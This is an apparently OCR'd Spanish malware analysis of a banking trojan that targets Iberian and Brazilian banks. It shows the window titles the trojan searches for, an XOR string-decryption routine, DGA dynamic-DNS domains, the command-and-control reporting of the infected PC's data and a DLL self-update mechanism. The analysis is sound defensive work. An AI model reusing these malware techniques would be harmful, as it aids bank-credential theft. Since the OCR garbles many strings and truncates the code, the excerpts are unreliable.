GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = % "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowText	GetWindowTextA =	&"Caja Rural"
<pre>GetWindowTextA = & "Bankia.es" GetWindowTextA = & "Bankia" GetWindowTextA = & "BAnkiA" GetWindowTextA = & "ING Banco online" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "CalxAGUISSONA online" GetWindowTextA = & "Calsaur Particulares" GetWindowTextA = & "Cajsaur Particulares" GetWindowTextA = & "Cajsaur Banca Personal" GetWindowTextA = & "Cajsaur Home" GetWindowTextA = & "Cajsaur - Home" GetWindowTextA = & "Cajsaur - Home" GetWindowTextA = & "Eojsaur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = %"Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowTextA = ?? GetWindowT</pre>	GetWindowTextA =	&"Empresas BANKINTER"
<pre>GetWindowTextA = & "Bankia" GetWindowTextA = & "BANKIA" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Harte cliente -" GetWindowTextA = & "Harte cliente -" GetWindowTextA = & "Calyasur Particulares" GetWindowTextA = & "Calyasur Particulares" GetWindowTextA = & "Calyasur Empresas" GetWindowTextA = & "Calyasur Empresas" GetWindowTextA = & "Calyasur Bance Personal" GetWindowTextA = & "Calyasur - Home" GetWindowTextA = & "Calyasur - Home" GetWindowTextA = & "Cyo Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowTextA = ?? Ge</pre>	GetWindowTextA =	&"Bankia.es"
<pre>GetWindowTextA = & "BANKIA" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Uhicaja" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "Sanca Personal Global Bank" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Banco BPI" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "anco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Bankia"
<pre>GetWindowTextA = & "TNG Banco online" GetWindowTextA = & "Liberbank" GetWindowTextA = & "Unicaja" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "CatXAGUISSONA online" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = *"Auca Personal Global Bank" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "anco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	S"BANKIA"
GetWindowTextA = & "Liberbank" GetWindowTextA = & "Natte cliente -" GetWindowTextA = & "Hatte cliente -" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Bance Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cojasur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = %"Banca Personal Global Bank" GetWindowTextA = & "Wultibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"	GetWindowTextA =	&"ING Banco online"
<pre>GetWindowTextA = & "Unicaja" GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Lbercaja" GetWindowTextA = & "CAIXAGUISSONA online" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Home" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "Cojasur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "Sance Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Bance BPI" GetWindowTextA = & "Banco BPI" GetWindowTextA = ?? GetWindowTextA = ?? GetWindowTextA = & "activoBank" GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Liberbank"
<pre>GetWindowTextA = & "Hazte cliente -" GetWindowTextA = & "Tbercaja" GetWindowTextA = & "CAIXAGUISSONA online" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "EvO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "\fZB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Banco BpI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Unicaja"
<pre>GetWindowTextA = & "Tbercaja" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ???</pre>	GetWindowTextA =	&"Hazte cliente -"
<pre>GetWindowTextA = & "CAIXAGUISSONA online" GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "\f2B" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = & "AcuvoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Ibercaja"
<pre>GetWindowTextA = & "Cajasur Particulares" GetWindowTextA = & "Cajasur Empresas" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "CajaSur - Home" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "Sanca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Banco BPI" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"CAIXAGUISSONA online"
GetWindowTextA = & "Cajasur Empresss" GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "Cajasur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = %"Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowTextA = ?? GetWindowTextA = ??	GetWindowTextA =	&"Cajasur Particulares"
<pre>GetWindowTextA = & "Cajasur Banca Personal" GetWindowTextA = & "CajaSur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = "\fzB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Sanco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Cajasur Empresas"
<pre>GetWindowTextA = & "CajaSur - Home" GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "\£ZB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Banco Personal Global Bank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = ?? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"Cajasur Banca Personal"
<pre>GetWindowTextA = & "EVO Banco" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = "\fZB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"CajaSur - Home"
<pre>GetWindowTextA = ??? GetWindowTextA = "\fZB" GetWindowTextA = "\fZB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Mattibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	&"EVO Banco"
<pre>GetWindowTextA = ??? GetWindowTextA = "\f2B" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "Canco BPI" GetWindowTextA = ??? GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	???
<pre>GetWindowTextA = "\fZB" GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	???
<pre>GetWindowTextA = & "Banca Personal Global Bank" GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"</pre>	GetWindowTextA =	"\fZB"
GetWindowTextA = & "Multibank" GetWindowTextA = & "ActivoBank" GetWindowTextA = & "Banco BPI" GetWindowTextA = ??? GetWindowTextA = & "Banco Montepio" GetWindowTextA = & "novobanco"	GetWindowTextA =	&"Banca Personal Global Bank"
GetWindowTextA = &"ActivoBank" GetWindowTextA = &"Banco BPI" GetWindowTextA = ??? GetWindowTextA = &"Banco Montepio" GetWindowTextA = &"novobanco"	GetWindowTextA =	&"Multibank"
GetWindowTextA = &"Banco BPI" GetWindowTextA = ??? GetWindowTextA = &"Banco Montepio" GetWindowTextA = &"novobanco"	GetWindowTextA =	&"ActivoBank"
GetWindowTextA = ??? GetWindowTextA = &"Banco Montepio" GetWindowTextA = &"novobanco"	GetWindowTextA =	&"Banco BPI"
GetWindowTextA = &"Banco Montepio" GetWindowTextA = &"novobanco"	GetWindowTextA =	???
GetWindowTextA = & "novobanco"	GetWindowTextA =	&"Banco Montepio"
	GetWindowTextA =	&"novobanco"

Figura 18: Ventanas buscadas asociadas a los bancos españoles

GetWindowsTextA = & "Microsoft Network Monitor"
GetWindowsTextA = & "Banco do Brasil"
GetWindowsTextA = & "Banco bradesco"
GetWindowsTextA = & "Banco Bradesco"
GetWindowsTextA = & "CAIXA -"
GetWindowsTextA = & "Santander"
GetWindowsTextA = &"Internet Banrisul"
GetWindowsTextA = & "Banco Safra"
GetWindowsTextA = ???
GetWindowsTextA = & "Mercado Pago "
GetWindowsTextA = &"Internet Banking BNB"
GetWindowsTextA = & "Banco Original"
GetWindowsTextA = & "UNICRED"
GetWindowsTextA = & "agibank.com.br"
GetWindowsTextA = &"Internet Banking Banco Inter"
GetWindowsTextA = ???
GetWindowsTextA = ???
GetWindowsTextA = ???
GetWindowsTextA = & "Banese"
GetWindowsTextA = & "Banestes"
GetWindowsTextA = ???
GetWindowsTextA = & "Portal Daycoval"

Figura 19: Ventanas buscadas asociadas a los bancos portugueses





No todas las cadenas se encuentran accesibles directamente en el binario, sino que cuando se necesitan, se descifran siguiendo un algoritmo basado en XOR. Para ello se tiene en cuenta la cadena cifrada con una clave. Se recorre la cadena y va realizando operaciones carácter a carácter teniendo en cuenta su posición actual y la anterior entre ambas.



Figura 20: Descifrado de cadena para ser utilizada

import binascii	
def decode_hex_string(data_enc,key): data_dec = str() data_enc = binascii.unhexlify(data_enc) prev = (data_enc[0])	
<pre>for i,c in enumerate(data_enc[1:]): x = c ^ ord(key[i % len(key)]) if x < (prev):</pre>	
return data_dec	

Figura 21: Algoritmo de descifrado de las cadenas

data="2330A427AE24D675985D" key="F5454DNBVXCCEFD3EFMNBVDCMNXCEVXD3CMBKJHGFM"

Figura 22: Cadena a descifrar y clave que utiliza







00DA41E7	call	004AF3B8				
00DA41EC	push	dword ptr [<mark>ebp-150</mark>]				
00DA41F2	push	ODA5458; 'BLOQUERACESSOCAIXA_LM'				
00DA41F7	push	0DA5398;'.ini'				
00DA41FC	lea	eax,[ebp-140]				
00DA4202	mov	edx,5				
00DA4207	call	@LStrCatN				
00DA420C	mov	eax,dword ptr [ebp-140]				
00DA4212	call	FileExists				
00DA4217	test	al,al				
00DA4219>	je	00DA4241				
00DA421B	mov	eax,0DA5478;'CaixaBank'				
00DA4220	call	004AEB14				
00DA4225	test	eax,eax				
00DA4227>	je	00DA422E				
00DA4229	call	00DA3120				
>00DA422E	mov	<pre>eax,0DA548C;'Banca Digital'</pre>				
00DA4233	call	004AEB14				
00DA4238	test	eax,eax				
00DA423A>	je	00DA4241				
00DA423C	call	00DA3120				
>00DA4241	lea	edx,[ebp-160]				
00DA4247	mov	eax,dword ptr [ebx]				
00DA4249	call	TApplication.GetExeName				
00DA424E	mov -	eax,dword ptr [ebp-160]				
A53D8 <ansistring> 'Bankia.es'</ansistring>						

0085308	KHNS1STFING/	Bankla.es
DDA53EC	<ansistring></ansistring>	'Bankia'
ØDA53FC	<ansistring></ansistring>	'BANK1A'
0DA540C	<ansistring></ansistring>	'BLOQUERACESSOSTESPANHA'
0DA542C	<ansistring></ansistring>	'Santander'
0DA5440	<ansistring></ansistring>	'Home Banking'
DDA5458	<ansistring></ansistring>	'BLOQUERACESSOCAIXA_LM'
0DA5478	<ansistring></ansistring>	'CaixaBank'
0DA548C	<ansistring></ansistring>	'Banca Digital'
DDA54A4	<ansistring></ansistring>	'BLOQUERACESSOBANKINTER'
0DA54C4	<ansistring></ansistring>	1.1
0DA54D0	<ansistring></ansistring>	'B28'
0DA54DC	<ansistring></ansistring>	'BANKINTER'
0DA54F0	<ansistring></ansistring>	'BLOQUERACESSOUNICAJA'
0DA5510	<ansistring></ansistring>	'Unicaja'
DDA5520	<ansistring></ansistring>	'Hazte cliente -'
0DA5538	<ansistring></ansistring>	'BLOQUERACESSOMEDIOLANUM'
0DA5558	<ansistring></ansistring>	'Mediolanum'

Figura 23: Ejemplo de algunas de las palabras relacionas con los bancos a suplantar

Si encuentra alguna de ellas en los procesos en ejecución, se prepara para la generación de los dominios dinámicos a consultar. Antes ejecuta el comando "*ipconfig /flushdns*" para limpiar la caché DNS.

🖾 CPU 🍨 Gráfico 🚺 Log 🖄 Notas 🔹 Breakpoints 🔤 Mapa de memoria 🧊 Pía de llamadas	🧝 SEH 🛛 Script 🛛 🖄 Símbolos 🔷 Fuente 🖉 Referencias 🖙 Hilos	🐨 Snowman 📕 Recursos 🕴 Trace
Image: State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State State </td <td>ebx:L"ore-F11e-L1-1-0" ebx:L"ore-F11e-L1-1-0"</td> <td>0 coultar FPU EX 0000000 ED 0000000 ED 7537251 Kernel32.WIRExec> EFLAGS FX 0000144 T 0000144</td>	ebx:L"ore-F11e-L1-1-0" ebx:L"ore-F11e-L1-1-0"	0 coultar FPU EX 0000000 ED 0000000 ED 7537251 Kernel32.WIRExec> EFLAGS FX 0000144 T 0000144
edi=0 . .text:753F2C91 kernel32.dll:\$92C91 #92C91 <#inExec>		1: [esp+4] 01329EB8 "ipconfig /flushdns" 2: [esp+8] 0000000 3: [esp+C] 1203F24C 4: [esp+10] 01329EA9 dbghelp.01329EA9
🕮 Volcado 1 💭 Volcado 2 💭 Volcado 3 🕮 Volcado 4 🕮 Volcado 5 🦃 Monitorizar 1 🛛 IX=l Locales	Struct 1203E070 01327D0F volver a dbghelp.01327D0F de dl 1203E074 01329E88 "ipconfig /flushdns"	bghe1p.0098761C
Directoli Hex ASCII ASCII 01329268 05 07 00 3 6F 65 66 67 10 2 F 66 67 73 56 61 10 00000 12 66 73 56 61 10 000000 12 66 73 56 61 10 00000 12 66 73 56 61 10 000000000000000000000000000000	1036076 0000000 1036077 103744 http://doi.org/10.13744 1030077 103744 http://doi.org/10.13744 103007 103744 103007 103744 10300000000000	

Figura 24: Limpia la cache DNS antes de generar los dominios dinámicos

Después, utilizando una base de 11 dominios predefinidos, genera los dominios dinámicos finales según el Algoritmo Generador de Dominios (DGA), tal y como se muestra en la Figura 25.





00DA9B01	mov	eax,dword ptr [ebp-10]			00DA9ED4	<ansistring></ansistring>	'.freedynamicdns.org'	
00DA9B04	ROV	edx,8DA9EF0;'0.0.0.0'	Algoritmo Generador de Dominios (DGA	A).	UUDA9EFU	<ansistring></ansistring>	.0.0.0.0.	
00DA9B09	call	@LStrCmp			88DA9F 88	<ansistring></ansistring>	'1'	
00DA9B0E>	jne	00DA9B68			00DA9F0C	<ansistring></ansistring>	'a'	
>00DA9B10	lea	ecx,[ebp-46C]	1 - Se le nacan 2 números que dividirá		00DA9F18	<ansistring></ansistring>	'.zapto.org'	
00DA9B16	mov	edx, 8DAA378; '88'	1.º Se le pasari 2 numeros que uniuna		00DA9F2C	∕msiString≻	·2·	
00DA9B1B	mov	eax,dword ptr febp 14	v convertirá a hexadecimal.		00DA9F38	<ansistring></ansistring>	.servequake.com	
00DA9B1E	call	00DB3B4C	,		88007F58	<ansistring></ansistring>	.3.	
00DA9B23	nov	ecx,dword ptr [ebp-460]			PODA9F5C	<ansistring></ansistring>	'.servehalflife.com'	
00DA9B29	lea	eax [ebp-468]	* 1 de ellos, rando: 1 - 80		00DA9F78	<ansistring></ansistring>	.4.	
00DA9B2F	mov	edx 8DAA38C; 'q' 🚤	r de ellos, lango. r - oo		00DA9F84	<ansistring></ansistring>	'.servecounterstrike.com'	
00DA9B34	call	@LStrCat3			88000764	<pre><#nsiString></pre>	'5'	
00DA9B39	mov	eax,dword ptr [ebp-468]	2. Lettres de la la la la la		00DA9FB0	<ansistring></ansistring>	'.redirectme.net'	
00DA9B3F	lea	edx,[ebp-464]	z Letras de la la la g	L.	00DA9FC8	<ansistring></ansistring>		
00DA9B45	call	LoverCase			00DA9FD4	<ansistring></ansistring>	'.nyftp.org'	
00DA9B4A	lea	eax,[ebp-464]			00DA9FE8	<ansistring></ansistring>	•7•	
00DA9B50	mov	edx, 0DAA058;'.myftp.biz'	3 dominio dinámico		000A9FF4	<ansistring></ansistring>	'.hopto.org'	
00DA9B55	call	@LStrCat			00DAR 008	<ansistring></ansistring>	.8.	
00DA9B5A	mov	eax,dword ptr [ebp-464]			88DAA 814	<pre>{AnsiString></pre>	'.ddnsking.com'	
00DA9B60	lea	edx,[ebp-18]			88DAA 82C	<pre>AmaiString></pre>	.9.	
00DA9B63	call	00DA7C2C			00DAA 038	<ansistring></ansistring>	'.gotdns.ch'	
>00DA9B68	xor	eax.eax			88DAA 84C	<ansistring></ansistring>	'10'	
00DA9B6A	push	ebp			00DAA 058	<ansistring></ansistring>	'.myftp.biz'	
00DA9B6B	push	0DA9E31			86DAA 86C	<ansistring></ansistring>	'11'	
00DA9B70	push	dword ptr fs:[eax]			00DAA078	<ansistring></ansistring>	.p.	
					88000896	(OnciString)	1101	

Figura 25: Zona de generación de DGA

Por lo tanto, se generan de esta forma 80 dominios dinámicos distintos.



Figura 26: El proceso de generación de dominios dinámicos

Una vez finalizado el proceso, obtiene el nombre del PC y descifra una de las cadenas que necesita para informar al *Command and Control*. Estas cadenas se encuentran cifradas dentro del binario.

	 01DF9B76 01DF9B7D 01DF9B80 01DF9B81 01DF9B87 01DF9B88 	C745 F4 00010000 8D45 F4 50 8D85 EBFEFFFF 50 F8 67D765FF	<pre>mov dword ptr ss:[ebp-C],100 lea eax,dword ptr ss:[ebp-C] push eax lea eax,dword ptr ss:[ebp-115] push eax call wWP_ScetComputerName3</pre>		Bancobrasti.com Verifica BB Banco do Brasil (578)
	 01DF9B8D 	8D95 8CFBFFFF	lea edx,dword ptr ss:[ebp-474]	[ebp-474]:"98898EF519"	1m2
	01DF9893 01DF9898 01DF9898	E8 03206EFF 8895 8CEBEFEF	mov edx,1/ call dbphelp.14DBBA0 mov edx.dword ptr ss: ebp-474	Febn-474]: "98898FF519"	.duckdns.org
	01DF9BA3	8D8D 90FBFFFF	lea ecx,dword ptr ss: ebp-470	Coop	jkABCDEefghiHIa4567JKLMN3UVWXYFG01cdOlmnopqrst2Z89PQRSTbuvwxyz
4	01DF9BA9	33C0 E8 BC6370EE	call dochelo 14FFF6C		01cdefgBCD4567JKLMN0t2Z89APQRSTbuE3UVWXYFhijklmnopqrsGHIavwxyz
	01DF9BB0	8885 90FBFFFF	mov eax, dword ptr ss:[ebp-470]		UVWXY01456mnopbuvwxqrst2Z89ABCDE37JKLMcdefqhiiklFGHIaNOPORSTvz
	01DF9BB6	E8 2D0666FF	call dbghelp.145A1E8		
	01DF9888 01DE9880	A1_CO08E201	mov eax dword ptr ds: [1E20BC0]	EIX: 98898EF519	neep.//ep.ape.com/jaon/
	01DF9BC2	ES DDB082FF	call dbghelp.1624CA4		7236
	01DF9BC7	68 E8030000	push 3E8		-[DESKTOP]-[
	O1DF9BCC	E8 376966FF	call <jmp.&sleep></jmp.&sleep>		chrome.exe
	01DF98D8	× 75 4F	ine dbobelo, 10E9C29		firefex exe
	01DF9BDA	8D95 88FBFFFF	lea edx.dword ptr ss: ebp-478		
	01DF9BE0	B8 <u>84A3DF01</u>	mov_eax,dbghelp.1DFA384	1DFA384:"192.168.0.57"	lexplore.exe
	O1DF9BE5	E8 72FF65FF	call dbgheip.145985C		opera.exe
	01DF98E0	B8 BCOCE201	mov eax, dbohelp, 1E20CBC		AplicativoBradesco exe
			and an and a strength		Aprecedential additioned

Figura 27: Comienzo de obtención de datos del equipo afectado

Cada país tiene asociado un identificador (7236), cuando detecta que se está visitando alguno de ellos le asocia su valor correspondiente para informar de ello.





.000A3007 Pusi	eax , ipourrer
:00DA9B88 call	. GetComputerNameA
:00DA9B8D lea	edx, [ebp+var_474]
:00DA9B93 mov	eax, 17h
:00DA9B98 call	. Get_ID_String_A_Descifrar
• :00DA9B9D mov	edx, [ebp+var_474]
• :00DA9BA3 lea	ecx, [ebp+var_470]
:00DA9BA9 xor	eax, eax
:00DA9BAB call	. Decifran_string
:00DA9BB0 mov	eax, [ebp+var_470] ; System::AnsiString
:00DA9BB6 call	. StrToInt
:00DA9BBB mov	edx, eax
:00DA9BBD mov	eax, ds:dword_DD0BC0
:00DA9BC2 call	TRtcPortalCli_SetDataEncrypt
:00DA9BC7 push	3E8h ; dwMilliseconds
:00DA9BCC call	. Sleep_0

Figura 28: Proceso de obtención del nombre del PC

En la Figura 29 se presenta un ejemplo de los datos que serán enviados. Se ha ofuscado el nombre del equipo afectado.

 01DF9DC1 01DF9DC7 	FF35 480CE201 68 E4A3DF01	push dword ptr ds: [1E20C48]	DEADEALT C	*	Ocul	itar FPU		
Ø1DF9DCC	6845 FC	mov eax, dword ptr ss:[ebp-4]			EAX	00AC2614		
 01DF9DCF 01DF9DD5 	58 C4A3DF01	push doohelo.1DFA3C4	1DFA3C4:") "		EBX	00000000	terror record of the	_
01DF90DA	FF35 400CE201	push dword ptr ds: [1E20C40]			ECX	01D38FEC	dbghelp.01D38FEC	(0 Horas) (Hindows 7) ((EETC) 2801)
 01DF3DE0 01DF3DE6 	BDBS SCPBFFFF	Tea eax, dword ptr ss: eop-484	[edp=444]: "(ES) (CPIXABENK) (0 Horas) (Windows 7) ((ERIC)2801) " edx: "(ES) (CRIVARGAK) (0 Horas) (Windows 7) ((ERIC)2801) ", D:'\r'		EBP	12CAF89C	(co) (convacent)	(o nor as) (armous () ((orac)roor)
01DF9DEB	ES AOAB65FF	call dbghelp.1454990			ESP	12CAF3C8		-
 01DF9DF0 01DE9DF6 	8895 SCF8FFFF	mov edx, dword ptr ss: epp-444	[ebp-4A4]:"(ES) (C@1xaB@nk) (0 Horas) (Windows 7) ((ERIC)2801) "		EDI	00000000		
 01DF9DF8 	8808	mov ecx, dword ptr ds:[eax]			100			
01059500	FF51 28 33D2	xor edx.edx	edv:"(ES) (CelvaRenk) (0 Hones) (Windows 2) ((EBTC)2801) "	- 1	EIP	01DF9DFD	dbghelp.01DF9DFD	
01DF9E02	A1 COOBE201	mov eax, dword ptr ds: [1E208C0]			EFLA	65 00000344		
01DF9E07	8808 FF51 34	mov ecx, dword ptr ds:[eax]			ZF 1	PF 1 AF 0		
 01DF9E0C 	BA 03000000	mov edx,3	edx:"(ES) (C@ixa80nk) (0 Horas) (Windows 7) ((ERIC)2801) "		OF O	SF 0 DF 0		
01DF9E11	A1 COOBE201	mov eax, dword ptr ds: [1E208C0]						
01DF9E18	82 01	mov d1,1			Last	Error 0000000	2 (ERROR_FILE_NOT_FOUND)	
 01DF9E1D 01DE9E22 	A1 COOSE201	mov eax, dword ptr ds: [1E20BC0]		1.1	LAST	STATUS CONDON	OF CSTATUS NO SIR'R FTLET	
	FF51 34	call dword ptr ds:[ecx+34]		1	Por def	fecto (stdcal)		 S S Desblog
 01DF9E27 01DF9E29 	3300	xor eax, eax	edv:"(ES) (CB1xaBBok) (0 Honas) (Windows 7) ((EBTC)2801) "	1	1: [6	esp] 12CAF3D4		
· OIDF9EZA	59	pop ecx	(and (any (annual) (a na as) (annuals () ((are)says)		2: [0	ESP+4] 01DF9E3	1 dbghelp.01DF9E31	
01DF9E28	59	pop ecx	edv:"(ES) (/81va8800) (0 Horas) (Windows 7) (/887/33801) "		4: 6	sp+C] 12CAFSA	à	
	Y ER DA	ing domein these as	(o no as) (windows /) ((exic)rear)		5: [4	esp+10] 01DF9E	A9 dbghelp.01DF9EA9	

Figura 29: Datos recopilados para ser enviados

Esta comunicación se realiza con el componente RTC citado anteriormente.

CODE:00DAA503	mov	esi, eax
CODE:00DAA505	mov	<pre>ebx, offset_dword_DD0BC0 ; TRtcHttpPortalClient</pre>
CODE:00DAA50A	mov	edi, offset unk_DD0BF4 ; TListBox
CODE:00DAA50F	xor	eax, eax
CODE:00DAA511	push	ebp
CODE:00DAA512	push	offset loc_DAA7B1
CODE:00DAA517	push	dword ptr fs:[eax]
CODE:00DAA51A	mov	fs:[eax], esp
CODE:00DAA51D	xor	eax, eax
CODE:00DAA51F	push	ebp
CODE:00DAA520	push	offset loc_DAA78C
CODE:00DAA525	push	dword ptr fs:[eax]
CODE:00DAA528	mov	fs:[eax], esp
CODE:00DAA52B	xor	ecx, ecx
CODE:00DAA52D	mov	dl, 1
CODE:00DAA52F	mov	eax, off_CE8FA0 ; this
CODE:00DAA534	call	TRtcHttpPortalClient_Create
CODE:00DAA539	mov	[ebx], eax

Figura 30: Uso del componente RTC HTTP para comunicación con el Command and Control

Otras de las funcionalidades principales de este troyano son las siguientes:

Dispone de capacidad para actualizar la *dll* maliciosa. Para ello, se utiliza la palabra UpdateDLLMODULO. Este proceso descargaría un fichero *zip* con el mismo nombre que la *dll*, lo descomprime después y detiene el proceso para arrancarlo posteriormente. Para poderlo realizar se crea un fichero *bat* llamado *cookie.bat* y se le añade las acciones que se han comentado.





-	:00DB1DEC	call	LStrToPChar
	:00DB1DF1	mov	edx, offset aUpdatedllmodul ; "UpdateDLLMODULO"
	:00DB1DF6	call	StrPos
	:00DB1DFB	test	eax, eax
. •	:00DB1DFD	iz	loc DB1EE3
٠	:00DB1E03	mov	d1. 7Ch : ' ' : char
٠	:00DB1E05	mov	eax, ds:dword DD0C9C : int
	:00DB1E0A	call	TStringList Create
٠	:00DB1E0F	lea	ecx. [ebp+var 7B8]
٠	:00DB1E15	mov	edx, 1
٠	:00DB1E1A	mov	ebx, [eax]
٠	:00DB1E1C	call	dword ptr [ebx+0Ch]
٠	:00DB1E1F	mov	eax, [ebp+var 7B8] ; System::AnsiString
٠	:00DB1E25	lea	edx. [ebp+var 8]
٠	:00DB1E28	call	Trim
٠	:00DB1E2D	call	call LStrClr
٠	:00DB1E32	push	0 : LPBINDSTATUSCALLBACK
٠	:00DB1E34	push	Ø : DWORD
٠	:00DB1E36	lea	edx. [ebp+var 7BC]
٠	:00DB1E3C	mov	eax, offset str APPDATA.Text : System::AnsiString
